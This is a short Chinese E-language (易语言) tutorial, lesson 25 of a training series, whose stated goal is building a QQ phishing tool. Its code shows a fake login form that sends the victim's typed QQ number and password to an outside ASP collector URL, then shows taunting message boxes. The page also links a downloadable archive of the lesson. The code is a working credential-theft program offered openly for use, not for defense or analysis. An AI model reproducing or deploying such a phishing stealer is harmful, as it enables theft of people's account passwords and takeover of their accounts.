易语言基础培训系列教程--25.易语言制作一个钓鱼ASP收信工具

tygv726

易语言基础培训系列教程--25.易语言制作一个钓鱼ASP收信工具

                             易语言基础培训系列教程
                                                       蛇吻、QQ:347****1895
        二十五、易语言制作一个钓鱼ASP收信工具
学习目标:使用易语言制作ASP收信钓鱼工具
.版本 2
.支持库 internet
.程序集 窗口程序集1
.子程序 _编辑框1_内容被改变

.子程序 _按钮1_被单击
.如果真 (QQASP (“http://2992.8c8c.info/sgsgcs.asp”, 编辑框1.内容, 编辑框2.内容) ＝ “发送成功”)
.如果真结束
信息框 (“别傻了，一看哥就逗你玩呢,还想登陆....”, 0, )
信息框 (“作为一个贱人蛇哥很成功”, 0, )

.子程序 QQASP, 文本型, , 发送帐号密码到ASP收信
.参数 地址, 文本型, , ASP文件路径
.参数 号码, 文本型
.参数 密码, 文本型
返回 (到文本 (HTTP读文件 (地址 ＋ “?” ＋ “qqnumber=” ＋ 号码 ＋ “&qqpassword=” ＋ 密码)))

.子程序 _编辑框2_内容被改变


饭客一周年免费易语言基础培训系列教程--25.易语言制作一个钓鱼ASP收信工具
http://www.hackfans.com.cn/mianfei/e/e25.rar